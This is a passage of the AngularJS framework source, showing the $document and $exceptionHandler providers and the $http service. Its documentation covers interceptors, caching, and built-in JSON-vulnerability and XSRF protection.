7309 $scope.title = $document[0].title;
7310 $scope.windowTitle = angular.element(window.document)[0].title;
7311 }]);
7312 </file>
7313 </example>
7314 */
7315 function $DocumentProvider(){
7316 this.$get = ['$window', function(window){
7317 return jqLite(window.document);
7318 }];
7319 }
7320
7321 /**
7322 * @ngdoc service
7323 * @name $exceptionHandler
7324 * @requires ng.$log
7325 *
7326 * @description
7327 * Any uncaught exception in angular expressions is delegated to this service.
7328 * The default implementation simply delegates to `$log.error` which logs it into
7329 * the browser console.
7330 *
7331 * In unit tests, if `angular-mocks.js` is loaded, this service is overridden by
7332 * {@link ngMock.$exceptionHandler mock $exceptionHandler} which aids in testing.
7333 *
7334 * ## Example:
7335 *
7336 * ```js
7337 * angular.module('exceptionOverride', []).factory('$exceptionHandler', function () {
7338 * return function (exception, cause) {
7339 * exception.message += ' (caused by "' + cause + '")';
7340 * throw exception;
7341 * };
7342 * });
7343 * ```
7344 *
7345 * This example will override the normal action of `$exceptionHandler`, to make angular
7346 * exceptions fail hard when they happen, instead of just logging to the console.
7347 *
7348 * @param {Error} exception Exception associated with the error.
7349 * @param {string=} cause optional information about the context in which
7350 * the error was thrown.
7351 *
7352 */
7353 function $ExceptionHandlerProvider() {
7354 this.$get = ['$log', function($log) {
7355 return function(exception, cause) {
7356 $log.error.apply($log, arguments);
7357 };
7358 }];
7359 }
7360
7361 /**
7362 * Parse headers into key value object
7363 *
7364 * @param {string} headers Raw headers as a string
7365 * @returns {Object} Parsed headers as key value object
7366 */
7367 function parseHeaders(headers) {
7368 var parsed = {}, key, val, i;
7369
7370 if (!headers) return parsed;
7371
7372 forEach(headers.split('\n'), function(line) {
7373 i = line.indexOf(':');
7374 key = lowercase(trim(line.substr(0, i)));
7375 val = trim(line.substr(i + 1));
7376
7377 if (key) {
7378 parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
7379 }
7380 });
7381
7382 return parsed;
7383 }
7384
7385
7386 /**
7387 * Returns a function that provides access to parsed headers.
7388 *
7389 * Headers are lazy parsed when first requested.
7390 * @see parseHeaders
7391 *
7392 * @param {(string|Object)} headers Headers to provide access to.
7393 * @returns {function(string=)} Returns a getter function which if called with:
7394 *
7395 * - if called with single an argument returns a single header value or null
7396 * - if called with no arguments returns an object containing all headers.
7397 */
7398 function headersGetter(headers) {
7399 var headersObj = isObject(headers) ? headers : undefined;
7400
7401 return function(name) {
7402 if (!headersObj) headersObj = parseHeaders(headers);
7403
7404 if (name) {
7405 return headersObj[lowercase(name)] || null;
7406 }
7407
7408 return headersObj;
7409 };
7410 }
7411
7412
7413 /**
7414 * Chain all given functions
7415 *
7416 * This function is used for both request and response transforming
7417 *
7418 * @param {*} data Data to transform.
7419 * @param {function(string=)} headers Http headers getter fn.
7420 * @param {(Function|Array.<Function>)} fns Function or an array of functions.
7421 * @returns {*} Transformed data.
7422 */
7423 function transformData(data, headers, fns) {
7424 if (isFunction(fns))
7425 return fns(data, headers);
7426
7427 forEach(fns, function(fn) {
7428 data = fn(data, headers);
7429 });
7430
7431 return data;
7432 }
7433
7434
7435 function isSuccess(status) {
7436 return 200 <= status && status < 300;
7437 }
7438
7439
7440 /**
7441 * @ngdoc provider
7442 * @name $httpProvider
7443 * @description
7444 * Use `$httpProvider` to change the default behavior of the {@link ng.$http $http} service.
7445 * */
7446 function $HttpProvider() {
7447 var JSON_START = /^\s*(\[|\{[^\{])/,
7448 JSON_END = /[\}\]]\s*$/,
7449 PROTECTION_PREFIX = /^\)\]\}',?\n/,
7450 CONTENT_TYPE_APPLICATION_JSON = {'Content-Type': 'application/json;charset=utf-8'};
7451
7452 /**
7453 * @ngdoc property
7454 * @name $httpProvider#defaults
7455 * @description
7456 *
7457 * Object containing default values for all {@link ng.$http $http} requests.
7458 *
7459 * - **`defaults.xsrfCookieName`** - {string} - Name of cookie containing the XSRF token.
7460 * Defaults value is `'XSRF-TOKEN'`.
7461 *
7462 * - **`defaults.xsrfHeaderName`** - {string} - Name of HTTP header to populate with the
7463 * XSRF token. Defaults value is `'X-XSRF-TOKEN'`.
7464 *
7465 * - **`defaults.headers`** - {Object} - Default headers for all $http requests.
7466 * Refer to {@link ng.$http#setting-http-headers $http} for documentation on
7467 * setting default headers.
7468 * - **`defaults.headers.common`**
7469 * - **`defaults.headers.post`**
7470 * - **`defaults.headers.put`**
7471 * - **`defaults.headers.patch`**
7472 **/
7473 var defaults = this.defaults = {
7474 // transform incoming response data
7475 transformResponse: [function(data) {
7476 if (isString(data)) {
7477 // strip json vulnerability protection prefix
7478 data = data.replace(PROTECTION_PREFIX, '');
7479 if (JSON_START.test(data) && JSON_END.test(data))
7480 data = fromJson(data);
7481 }
7482 return data;
7483 }],
7484
7485 // transform outgoing request data
7486 transformRequest: [function(d) {
7487 return isObject(d) && !isFile(d) && !isBlob(d) ? toJson(d) : d;
7488 }],
7489
7490 // default headers
7491 headers: {
7492 common: {
7493 'Accept': 'application/json, text/plain, */*'
7494 },
7495 post: shallowCopy(CONTENT_TYPE_APPLICATION_JSON),
7496 put: shallowCopy(CONTENT_TYPE_APPLICATION_JSON),
7497 patch: shallowCopy(CONTENT_TYPE_APPLICATION_JSON)
7498 },
7499
7500 xsrfCookieName: 'XSRF-TOKEN',
7501 xsrfHeaderName: 'X-XSRF-TOKEN'
7502 };
7503
7504 /**
7505 * Are ordered by request, i.e. they are applied in the same order as the
7506 * array, on request, but reverse order, on response.
7507 */
7508 var interceptorFactories = this.interceptors = [];
7509
7510 /**
7511 * For historical reasons, response interceptors are ordered by the order in which
7512 * they are applied to the response. (This is the opposite of interceptorFactories)
7513 */
7514 var responseInterceptorFactories = this.responseInterceptors = [];
7515
7516 this.$get = ['$httpBackend', '$browser', '$cacheFactory', '$rootScope', '$q', '$injector',
7517 function($httpBackend, $browser, $cacheFactory, $rootScope, $q, $injector) {
7518
7519 var defaultCache = $cacheFactory('$http');
7520
7521 /**
7522 * Interceptors stored in reverse order. Inner interceptors before outer interceptors.
7523 * The reversal is needed so that we can build up the interception chain around the
7524 * server request.
7525 */
7526 var reversedInterceptors = [];
7527
7528 forEach(interceptorFactories, function(interceptorFactory) {
7529 reversedInterceptors.unshift(isString(interceptorFactory)
7530 ? $injector.get(interceptorFactory) : $injector.invoke(interceptorFactory));
7531 });
7532
7533 forEach(responseInterceptorFactories, function(interceptorFactory, index) {
7534 var responseFn = isString(interceptorFactory)
7535 ? $injector.get(interceptorFactory)
7536 : $injector.invoke(interceptorFactory);
7537
7538 /**
7539 * Response interceptors go before "around" interceptors (no real reason, just
7540 * had to pick one.) But they are already reversed, so we can't use unshift, hence
7541 * the splice.
7542 */
7543 reversedInterceptors.splice(index, 0, {
7544 response: function(response) {
7545 return responseFn($q.when(response));
7546 },
7547 responseError: function(response) {
7548 return responseFn($q.reject(response));
7549 }
7550 });
7551 });
7552
7553
7554 /**
7555 * @ngdoc service
7556 * @kind function
7557 * @name $http
7558 * @requires ng.$httpBackend
7559 * @requires $cacheFactory
7560 * @requires $rootScope
7561 * @requires $q
7562 * @requires $injector
7563 *
7564 * @description
7565 * The `$http` service is a core Angular service that facilitates communication with the remote
7566 * HTTP servers via the browser's [XMLHttpRequest](https://developer.mozilla.org/en/xmlhttprequest)
7567 * object or via [JSONP](http://en.wikipedia.org/wiki/JSONP).
7568 *
7569 * For unit testing applications that use `$http` service, see
7570 * {@link ngMock.$httpBackend $httpBackend mock}.
7571 *
7572 * For a higher level of abstraction, please check out the {@link ngResource.$resource
7573 * $resource} service.
7574 *
7575 * The $http API is based on the {@link ng.$q deferred/promise APIs} exposed by
7576 * the $q service. While for simple usage patterns this doesn't matter much, for advanced usage
7577 * it is important to familiarize yourself with these APIs and the guarantees they provide.
7578 *
7579 *
7580 * # General usage
7581 * The `$http` service is a function which takes a single argument — a configuration object —
7582 * that is used to generate an HTTP request and returns a {@link ng.$q promise}
7583 * with two $http specific methods: `success` and `error`.
7584 *
7585 * ```js
7586 * $http({method: 'GET', url: '/someUrl'}).
7587 * success(function(data, status, headers, config) {
7588 * // this callback will be called asynchronously
7589 * // when the response is available
7590 * }).
7591 * error(function(data, status, headers, config) {
7592 * // called asynchronously if an error occurs
7593 * // or server returns response with an error status.
7594 * });
7595 * ```
7596 *
7597 * Since the returned value of calling the $http function is a `promise`, you can also use
7598 * the `then` method to register callbacks, and these callbacks will receive a single argument –
7599 * an object representing the response. See the API signature and type info below for more
7600 * details.
7601 *
7602 * A response status code between 200 and 299 is considered a success status and
7603 * will result in the success callback being called. Note that if the response is a redirect,
7604 * XMLHttpRequest will transparently follow it, meaning that the error callback will not be
7605 * called for such responses.
7606 *
7607 * # Writing Unit Tests that use $http
7608 * When unit testing (using {@link ngMock ngMock}), it is necessary to call
7609 * {@link ngMock.$httpBackend#flush $httpBackend.flush()} to flush each pending
7610 * request using trained responses.
7611 *
7612 * ```
7613 * $httpBackend.expectGET(...);
7614 * $http.get(...);
7615 * $httpBackend.flush();
7616 * ```
7617 *
7618 * # Shortcut methods
7619 *
7620 * Shortcut methods are also available. All shortcut methods require passing in the URL, and
7621 * request data must be passed in for POST/PUT requests.
7622 *
7623 * ```js
7624 * $http.get('/someUrl').success(successCallback);
7625 * $http.post('/someUrl', data).success(successCallback);
7626 * ```
7627 *
7628 * Complete list of shortcut methods:
7629 *
7630 * - {@link ng.$http#get $http.get}
7631 * - {@link ng.$http#head $http.head}
7632 * - {@link ng.$http#post $http.post}
7633 * - {@link ng.$http#put $http.put}
7634 * - {@link ng.$http#delete $http.delete}
7635 * - {@link ng.$http#jsonp $http.jsonp}
7636 * - {@link ng.$http#patch $http.patch}
7637 *
7638 *
7639 * # Setting HTTP Headers
7640 *
7641 * The $http service will automatically add certain HTTP headers to all requests. These defaults
7642 * can be fully configured by accessing the `$httpProvider.defaults.headers` configuration
7643 * object, which currently contains this default configuration:
7644 *
7645 * - `$httpProvider.defaults.headers.common` (headers that are common for all requests):
7646 * - `Accept: application/json, text/plain, * / *`
7647 * - `$httpProvider.defaults.headers.post`: (header defaults for POST requests)
7648 * - `Content-Type: application/json`
7649 * - `$httpProvider.defaults.headers.put` (header defaults for PUT requests)
7650 * - `Content-Type: application/json`
7651 *
7652 * To add or overwrite these defaults, simply add or remove a property from these configuration
7653 * objects. To add headers for an HTTP method other than POST or PUT, simply add a new object
7654 * with the lowercased HTTP method name as the key, e.g.
7655 * `$httpProvider.defaults.headers.get = { 'My-Header' : 'value' }.
7656 *
7657 * The defaults can also be set at runtime via the `$http.defaults` object in the same
7658 * fashion. For example:
7659 *
7660 * ```
7661 * module.run(function($http) {
7662 * $http.defaults.headers.common.Authorization = 'Basic YmVlcDpib29w'
7663 * });
7664 * ```
7665 *
7666 * In addition, you can supply a `headers` property in the config object passed when
7667 * calling `$http(config)`, which overrides the defaults without changing them globally.
7668 *
7669 *
7670 * # Transforming Requests and Responses
7671 *
7672 * Both requests and responses can be transformed using transform functions. By default, Angular
7673 * applies these transformations:
7674 *
7675 * Request transformations:
7676 *
7677 * - If the `data` property of the request configuration object contains an object, serialize it
7678 * into JSON format.
7679 *
7680 * Response transformations:
7681 *
7682 * - If XSRF prefix is detected, strip it (see Security Considerations section below).
7683 * - If JSON response is detected, deserialize it using a JSON parser.
7684 *
7685 * To globally augment or override the default transforms, modify the
7686 * `$httpProvider.defaults.transformRequest` and `$httpProvider.defaults.transformResponse`
7687 * properties. These properties are by default an array of transform functions, which allows you
7688 * to `push` or `unshift` a new transformation function into the transformation chain. You can
7689 * also decide to completely override any default transformations by assigning your
7690 * transformation functions to these properties directly without the array wrapper. These defaults
7691 * are again available on the $http factory at run-time, which may be useful if you have run-time
7692 * services you wish to be involved in your transformations.
7693 *
7694 * Similarly, to locally override the request/response transforms, augment the
7695 * `transformRequest` and/or `transformResponse` properties of the configuration object passed
7696 * into `$http`.
7697 *
7698 *
7699 * # Caching
7700 *
7701 * To enable caching, set the request configuration `cache` property to `true` (to use default
7702 * cache) or to a custom cache object (built with {@link ng.$cacheFactory `$cacheFactory`}).
7703 * When the cache is enabled, `$http` stores the response from the server in the specified
7704 * cache. The next time the same request is made, the response is served from the cache without
7705 * sending a request to the server.
7706 *
7707 * Note that even if the response is served from cache, delivery of the data is asynchronous in
7708 * the same way that real requests are.
7709 *
7710 * If there are multiple GET requests for the same URL that should be cached using the same
7711 * cache, but the cache is not populated yet, only one request to the server will be made and
7712 * the remaining requests will be fulfilled using the response from the first request.
7713 *
7714 * You can change the default cache to a new object (built with
7715 * {@link ng.$cacheFactory `$cacheFactory`}) by updating the
7716 * {@link ng.$http#properties_defaults `$http.defaults.cache`} property. All requests who set
7717 * their `cache` property to `true` will now use this cache object.
7718 *
7719 * If you set the default cache to `false` then only requests that specify their own custom
7720 * cache object will be cached.
7721 *
7722 * # Interceptors
7723 *
7724 * Before you start creating interceptors, be sure to understand the
7725 * {@link ng.$q $q and deferred/promise APIs}.
7726 *
7727 * For purposes of global error handling, authentication, or any kind of synchronous or
7728 * asynchronous pre-processing of request or postprocessing of responses, it is desirable to be
7729 * able to intercept requests before they are handed to the server and
7730 * responses before they are handed over to the application code that
7731 * initiated these requests. The interceptors leverage the {@link ng.$q
7732 * promise APIs} to fulfill this need for both synchronous and asynchronous pre-processing.
7733 *
7734 * The interceptors are service factories that are registered with the `$httpProvider` by
7735 * adding them to the `$httpProvider.interceptors` array. The factory is called and
7736 * injected with dependencies (if specified) and returns the interceptor.
7737 *
7738 * There are two kinds of interceptors (and two kinds of rejection interceptors):
7739 *
7740 * * `request`: interceptors get called with a http `config` object. The function is free to
7741 * modify the `config` object or create a new one. The function needs to return the `config`
7742 * object directly, or a promise containing the `config` or a new `config` object.
7743 * * `requestError`: interceptor gets called when a previous interceptor threw an error or
7744 * resolved with a rejection.
7745 * * `response`: interceptors get called with http `response` object. The function is free to
7746 * modify the `response` object or create a new one. The function needs to return the `response`
7747 * object directly, or as a promise containing the `response` or a new `response` object.
7748 * * `responseError`: interceptor gets called when a previous interceptor threw an error or
7749 * resolved with a rejection.
7750 *
7751 *
7752 * ```js
7753 * // register the interceptor as a service
7754 * $provide.factory('myHttpInterceptor', function($q, dependency1, dependency2) {
7755 * return {
7756 * // optional method
7757 * 'request': function(config) {
7758 * // do something on success
7759 * return config;
7760 * },
7761 *
7762 * // optional method
7763 * 'requestError': function(rejection) {
7764 * // do something on error
7765 * if (canRecover(rejection)) {
7766 * return responseOrNewPromise
7767 * }
7768 * return $q.reject(rejection);
7769 * },
7770 *
7771 *
7772 *
7773 * // optional method
7774 * 'response': function(response) {
7775 * // do something on success
7776 * return response;
7777 * },
7778 *
7779 * // optional method
7780 * 'responseError': function(rejection) {
7781 * // do something on error
7782 * if (canRecover(rejection)) {
7783 * return responseOrNewPromise
7784 * }
7785 * return $q.reject(rejection);
7786 * }
7787 * };
7788 * });
7789 *
7790 * $httpProvider.interceptors.push('myHttpInterceptor');
7791 *
7792 *
7793 * // alternatively, register the interceptor via an anonymous factory
7794 * $httpProvider.interceptors.push(function($q, dependency1, dependency2) {
7795 * return {
7796 * 'request': function(config) {
7797 * // same as above
7798 * },
7799 *
7800 * 'response': function(response) {
7801 * // same as above
7802 * }
7803 * };
7804 * });
7805 * ```
7806 *
7807 * # Response interceptors (DEPRECATED)
7808 *
7809 * Before you start creating interceptors, be sure to understand the
7810 * {@link ng.$q $q and deferred/promise APIs}.
7811 *
7812 * For purposes of global error handling, authentication or any kind of synchronous or
7813 * asynchronous preprocessing of received responses, it is desirable to be able to intercept
7814 * responses for http requests before they are handed over to the application code that
7815 * initiated these requests. The response interceptors leverage the {@link ng.$q
7816 * promise apis} to fulfil this need for both synchronous and asynchronous preprocessing.
7817 *
7818 * The interceptors are service factories that are registered with the $httpProvider by
7819 * adding them to the `$httpProvider.responseInterceptors` array. The factory is called and
7820 * injected with dependencies (if specified) and returns the interceptor — a function that
7821 * takes a {@link ng.$q promise} and returns the original or a new promise.
7822 *
7823 * ```js
7824 * // register the interceptor as a service
7825 * $provide.factory('myHttpInterceptor', function($q, dependency1, dependency2) {
7826 * return function(promise) {
7827 * return promise.then(function(response) {
7828 * // do something on success
7829 * return response;
7830 * }, function(response) {
7831 * // do something on error
7832 * if (canRecover(response)) {
7833 * return responseOrNewPromise
7834 * }
7835 * return $q.reject(response);
7836 * });
7837 * }
7838 * });
7839 *
7840 * $httpProvider.responseInterceptors.push('myHttpInterceptor');
7841 *
7842 *
7843 * // register the interceptor via an anonymous factory
7844 * $httpProvider.responseInterceptors.push(function($q, dependency1, dependency2) {
7845 * return function(promise) {
7846 * // same as above
7847 * }
7848 * });
7849 * ```
7850 *
7851 *
7852 * # Security Considerations
7853 *
7854 * When designing web applications, consider security threats from:
7855 *
7856 * - [JSON vulnerability](http://haacked.com/archive/2008/11/20/anatomy-of-a-subtle-json-vulnerability.aspx)
7857 * - [XSRF](http://en.wikipedia.org/wiki/Cross-site_request_forgery)
7858 *
7859 * Both server and the client must cooperate in order to eliminate these threats. Angular comes
7860 * pre-configured with strategies that address these issues, but for this to work backend server
7861 * cooperation is required.
7862 *
7863 * ## JSON Vulnerability Protection
7864 *
7865 * A [JSON vulnerability](http://haacked.com/archive/2008/11/20/anatomy-of-a-subtle-json-vulnerability.aspx)
7866 * allows third party website to turn your JSON resource URL into
7867 * [JSONP](http://en.wikipedia.org/wiki/JSONP) request under some conditions. To
7868 * counter this your server can prefix all JSON requests with following string `")]}',\n"`.
7869 * Angular will automatically strip the prefix before processing it as JSON.
7870 *
7871 * For example if your server needs to return:
7872 * ```js
7873 * ['one','two']
7874 * ```
7875 *
7876 * which is vulnerable to attack, your server can return:
7877 * ```js
7878 * )]}',
7879 * ['one','two']
7880 * ```
7881 *
7882 * Angular will strip the prefix, before processing the JSON.
7883 *
7884 *
7885 * ## Cross Site Request Forgery (XSRF) Protection
7886 *
7887 * [XSRF](http://en.wikipedia.org/wiki/Cross-site_request_forgery) is a technique by which
7888 * an unauthorized site can gain your user's private data. Angular provides a mechanism
7889 * to counter XSRF. When performing XHR requests, the $http service reads a token from a cookie
7890 * (by default, `XSRF-TOKEN`) and sets it as an HTTP header (`X-XSRF-TOKEN`). Since only
7891 * JavaScript that runs on your domain could read the cookie, your server can be assured that
7892 * the XHR came from JavaScript running on your domain. The header will not be set for
7893 * cross-domain requests.
7894 *
7895 * To take advantage of this, your server needs to set a token in a JavaScript readable session
7896 * cookie called `XSRF-TOKEN` on the first HTTP GET request. On subsequent XHR requests the
7897 * server can verify that the cookie matches `X-XSRF-TOKEN` HTTP header, and therefore be sure
7898 * that only JavaScript running on your domain could have sent the request. The token must be
7899 * unique for each user and must be verifiable by the server (to prevent the JavaScript from
7900 * making up its own tokens). We recommend that the token is a digest of your site's
7901 * authentication cookie with a [salt](https://en.wikipedia.org/wiki/Salt_(cryptography&#41;)
7902 * for added security.
7903 *
7904 * The name of the headers can be specified using the xsrfHeaderName and xsrfCookieName
7905 * properties of either $httpProvider.defaults at config-time, $http.defaults at run-time,
7906 * or the per-request config object.
7907 *
7908 *
7909 * @param {object} config Object describing the request to be made and how it should be
7910 * processed. The object has following properties:
7911 *
7912 * - **method** – `{string}` – HTTP method (e.g. 'GET', 'POST', etc)
7913 * - **url** – `{string}` – Absolute or relative URL of the resource that is being requested.
7914 * - **params** – `{Object.<string|Object>}` – Map of strings or objects which will be turned
7915 * to `?key1=value1&key2=value2` after the url. If the value is not a string, it will be
7916 * JSONified.
7917 * - **data** – `{string|Object}` – Data to be sent as the request message data.
7918 * - **headers** – `{Object}` – Map of strings or functions which return strings representing
7919 * HTTP headers to send to the server. If the return value of a function is null, the
7920 * header will not be sent.
7921 * - **xsrfHeaderName** – `{string}` – Name of HTTP header to populate with the XSRF token.
7922 * - **xsrfCookieName** – `{string}` – Name of cookie containing the XSRF token.
7923 * - **transformRequest** –
7924 * `{function(data, headersGetter)|Array.<function(data, headersGetter)>}` –
7925 * transform function or an array of such functions. The transform function takes the http
7926 * request body and headers and returns its transformed (typically serialized) version.
7927 * - **transformResponse** –
7928 * `{function(data, headersGetter)|Array.<function(data, headersGetter)>}` –
7929 * transform function or an array of such functions. The transform function takes the http
7930 * response body and headers and returns its transformed (typically deserialized) version.
7931 * - **cache** – `{boolean|Cache}` – If true, a default $http cache will be used to cache the
7932 * GET request, otherwise if a cache instance built with
7933 * {@link ng.$cacheFactory $cacheFactory}, this cache will be used for
7934 * caching.
7935 * - **timeout** – `{number|Promise}` – timeout in milliseconds, or {@link ng.$q promise}
7936 * that should abort the request when resolved.
7937 * - **withCredentials** - `{boolean}` - whether to set the `withCredentials` flag on the
7938 * XHR object. See [requests with credentials](https://developer.mozilla.org/docs/Web/HTTP/Access_control_CORS#Requests_with_credentials)
7939 * for more information.
7940 * - **responseType** - `{string}` - see
7941 * [requestType](https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#responseType).
7942 *
7943 * @returns {HttpPromise} Returns a {@link ng.$q promise} object with the
7944 * standard `then` method and two http specific methods: `success` and `error`. The `then`
7945 * method takes two arguments a success and an error callback which will be called with a
7946 * response object. The `success` and `error` methods take a single argument - a function that
7947 * will be called when the request succeeds or fails respectively. The arguments passed into
7948 * these functions are destructured representation of the response object passed into the
7949 * `then` method. The response object has these properties:
7950 *
7951 * - **data** – `{string|Object}` – The response body transformed with the transform
7952 * functions.
7953 * - **status** – `{number}` – HTTP status code of the response.
7954 * - **headers** – `{function([headerName])}` – Header getter function.
7955 * - **config** – `{Object}` – The configuration object that was used to generate the request.
7956 * - **statusText** – `{string}` – HTTP status text of the response.
7957 *
7958 * @property {Array.<Object>} pendingRequests Array of config objects for currently pending
7959 * requests. This is primarily meant to be used for debugging purposes.
7960 *
7961 *
7962 * @example
7963 <example module="httpExample">
7964 <file name="index.html">
7965 <div ng-controller="FetchController">
7966 <select ng-model="method">
7967 <option>GET</option>
7968 <option>JSONP</option>
7969 </select>
7970 <input type="text" ng-model="url" size="80"/>
7971 <button id="fetchbtn" ng-click="fetch()">fetch</button><br>
7972 <button id="samplegetbtn" ng-click="updateModel('GET', 'http-hello.html')">Sample GET</button>
7973 <button id="samplejsonpbtn"
7974 ng-click="updateModel('JSONP',
7975 'https://angularjs.org/greet.php?callback=JSON_CALLBACK&name=Super%20Hero')">
7976 Sample JSONP
7977 </button>
7978 <button id="invalidjsonpbtn"
7979 ng-click="updateModel('JSONP', 'https://angularjs.org/doesntexist&callback=JSON_CALLBACK')">
7980 Invalid JSONP
7981 </button>
7982 <pre>http status code: {{status}}</pre>
7983 <pre>http response data: {{data}}</pre>
7984 </div>
7985 </file>
7986 <file name="script.js">
7987 angular.module('httpExample', [])
7988 .controller('FetchController', ['$scope', '$http', '$templateCache',
7989 function($scope, $http, $templateCache) {
7990 $scope.method = 'GET';
7991 $scope.url = 'http-hello.html';
7992
7993 $scope.fetch = function() {
7994 $scope.code = null;
7995 $scope.response = null;
7996
7997 $http({method: $scope.method, url: $scope.url, cache: $templateCache}).
7998 success(function(data, status) {
7999 $scope.status = status;
8000 $scope.data = data;
8001 }).
8002 error(function(data, status) {
8003 $scope.data = data || "Request failed";
8004 $scope.status = status;
8005 });
8006 };
8007
8008 $scope.updateModel = function(method, url) {
8009 $scope.method = method;
8010 $scope.url = url;
8011 };
8012 }]);
8013 </file>
8014 <file name="http-hello.html">
8015 Hello, $http!
8016 </file>
8017 <file name="protractor.js" type="protractor">
8018 var status = element(by.binding('status'));
8019 var data = element(by.binding('data'));
8020 var fetchBtn = element(by.id('fetchbtn'));
8021 var sampleGetBtn = element(by.id('samplegetbtn'));
8022 var sampleJsonpBtn = element(by.id('samplejsonpbtn'));
8023 var invalidJsonpBtn = element(by.id('invalidjsonpbtn'));
8024
8025 it('should make an xhr GET request', function() {
8026 sampleGetBtn.click();
8027 fetchBtn.click();
8028 expect(status.getText()).toMatch('200');
8029 expect(data.getText()).toMatch(/Hello, \$http!/);
8030 });
8031
8032 it('should make a JSONP request to angularjs.org', function() {
8033 sampleJsonpBtn.click();
8034 fetchBtn.click();
8035 expect(status.getText()).toMatch('200');
8036 expect(data.getText()).toMatch(/Super Hero!/);
8037 });
8038
8039 it('should make JSONP request to invalid URL and invoke the error handler',
8040 function() {
8041 invalidJsonpBtn.click();
8042 fetchBtn.click();
8043 expect(status.getText()).toMatch('0');
8044 expect(data.getText()).toMatch('Request failed');
8045 });
8046 </file>
8047 </example>
8048 */
8049 function $http(requestConfig) {
8050 var config = {
8051 method: 'get',
8052 transformRequest: defaults.transformRequest,
8053 transformResponse: defaults.transformResponse
8054 };
8055 var headers = mergeHeaders(requestConfig);
8056
8057 extend(config, requestConfig);
8058 config.headers = headers;
8059 config.method = uppercase(config.method);
8060
8061 var serverRequest = function(config) {
8062 headers = config.headers;
8063 var reqData = transformData(config.data, headersGetter(headers), config.transformRequest);
8064
8065 // strip content-type if data is undefined
8066 if (isUndefined(reqData)) {
8067 forEach(headers, function(value, header) {
8068 if (lowercase(header) === 'content-type') {
8069 delete headers[header];
8070 }
8071 });
8072 }
8073
8074 if (isUndefined(config.withCredentials) && !isUndefined(defaults.withCredentials)) {
8075 config.withCredentials = defaults.withCredentials;
8076 }
8077
8078 // send request
8079 return sendReq(config, reqData, headers).then(transformResponse, transformResponse);
8080 };
8081
8082 var chain = [serverRequest, undefined];
8083 var promise = $q.when(config);
8084
8085 // apply interceptors
8086 forEach(reversedInterceptors, function(interceptor) {
8087 if (interceptor.request || interceptor.requestError) {
8088 chain.unshift(interceptor.request, interceptor.requestError);
8089 }
8090 if (interceptor.response || interceptor.responseError) {
8091 chain.push(interceptor.response, interceptor.responseError);
8092 }
8093 });
8094
8095 while(chain.length) {
8096 var thenFn = chain.shift();
8097 var rejectFn = chain.shift();
8098
8099 promise = promise.then(thenFn, rejectFn);
8100 }
8101
8102 promise.success = function(fn) {
8103 promise.then(function(response) {
8104 fn(response.data, response.status, response.headers, config);
8105 });
8106 return promise;
8107 };
8108
8109 promise.error = function(fn) {
8110 promise.then(null, function(response) {
8111 fn(response.data, response.status, response.headers, config);
8112 });
8113 return promise;
8114 };
8115
8116 return promise;
8117
8118 function transformResponse(response) {
8119 // make a copy since the response must be cacheable
8120 var resp = extend({}, response, {
8121 data: transformData(response.data, response.headers, config.transformResponse)
8122 });
8123 return (isSuccess(response.status))
8124 ? resp
8125 : $q.reject(resp);
8126 }
8127
8128 function mergeHeaders(config) {
8129 var defHeaders = defaults.headers,
8130 reqHeaders = extend({}, config.headers),
8131 defHeaderName, lowercaseDefHeaderName, reqHeaderName;
8132
8133 defHeaders = extend({}, defHeaders.common, defHeaders[lowercase(config.method)]);
8134
8135 // using for-in instead of forEach to avoid unecessary iteration after header has been found
8136 defaultHeadersIteration:
8137 for (defHeaderName in defHeaders) {
8138 lowercaseDefHeaderName = lowercase(defHeaderName);
8139
8140 for (reqHeaderName in reqHeaders) {
8141 if (lowercase(reqHeaderName) === lowercaseDefHeaderName) {
8142 continue defaultHeadersIteration;
8143 }
8144 }
8145
8146 reqHeaders[defHeaderName] = defHeaders[defHeaderName];
8147 }
8148
8149 // execute if header value is a function for merged headers
8150 execHeaders(reqHeaders);
8151 return reqHeaders;
8152
8153 function execHeaders(headers) {
8154 var headerContent;
8155
8156 forEach(headers, function(headerFn, header) {
8157 if (isFunction(headerFn)) {
8158 headerContent = headerFn();
8159 if (headerContent != null) {
8160 headers[header] = headerContent;
8161 } else {
8162 delete headers[header];
8163 }
8164 }
8165 });
8166 }
8167 }
8168 }
8169
8170 $http.pendingRequests = [];
8171
8172 /**
8173 * @ngdoc method
8174 * @name $http#get
8175 *
8176 * @description
8177 * Shortcut method to perform `GET` request.
8178 *
8179 * @param {string} url Relative or absolute URL specifying the destination of the request
8180 * @param {Object=} config Optional configuration object
8181 * @returns {HttpPromise} Future object
8182 */
8183
8184 /**
8185 * @ngdoc method
8186 * @name $http#delete
8187 *
8188 * @description
8189 * Shortcut method to perform `DELETE` request.
8190 *
8191 * @param {string} url Relative or absolute URL specifying the destination of the request
8192 * @param {Object=} config Optional configuration object
8193 * @returns {HttpPromise} Future object
8194 */
8195
8196 /**
8197 * @ngdoc method
8198 * @name $http#head
8199 *
8200 * @description
8201 * Shortcut method to perform `HEAD` request.
8202 *
8203 * @param {string} url Relative or absolute URL specifying the destination of the request
8204 * @param {Object=} config Optional configuration object
8205 * @returns {HttpPromise} Future object
8206 */
8207
8208 /**
8209 * @ngdoc method
8210 * @name $http#jsonp
8211 *
8212 * @description
8213 * Shortcut method to perform `JSONP` request.
8214 *
8215 * @param {string} url Relative or absolute URL specifying the destination of the request.
8216 * The name of the callback should be the string `JSON_CALLBACK`.
8217 * @param {Object=} config Optional configuration object
8218 * @returns {HttpPromise} Future object
8219 */
8220 createShortMethods('get', 'delete', 'head', 'jsonp');
8221
8222 /**
8223 * @ngdoc method
8224 * @name $http#post
8225 *
8226 * @description
8227 * Shortcut method to perform `POST` request.
8228 *
8229 * @param {string} url Relative or absolute URL specifying the destination of the request
8230 * @param {*} data Request content
8231 * @param {Object=} config Optional configuration object
8232 * @returns {HttpPromise} Future object
8233 */
8234
8235 /**
8236 * @ngdoc method
8237 * @name $http#put
8238 *
8239 * @description
8240 * Shortcut method to perform `PUT` request.
8241 *
8242 * @param {string} url Relative or absolute URL specifying the destination of the request
8243 * @param {*} data Request content
8244 * @param {Object=} config Optional configuration object
8245 * @returns {HttpPromise} Future object
8246 */
8247 createShortMethodsWithData('post', 'put');
8248
8249 /**
8250 * @ngdoc property
8251 * @name $http#defaults
8252 *
8253 * @description
8254 * Runtime equivalent of the `$httpProvider.defaults` property. Allows configuration of
8255 * default headers, withCredentials as well as request and response transformations.
8256 *
8257 * See "Setting HTTP Headers" and "Transforming Requests and Responses" sections above.
8258 */
8259 $http.defaults = defaults;
8260
8261
8262 return $http;
8263
8264
8265 function createShortMethods(names) {
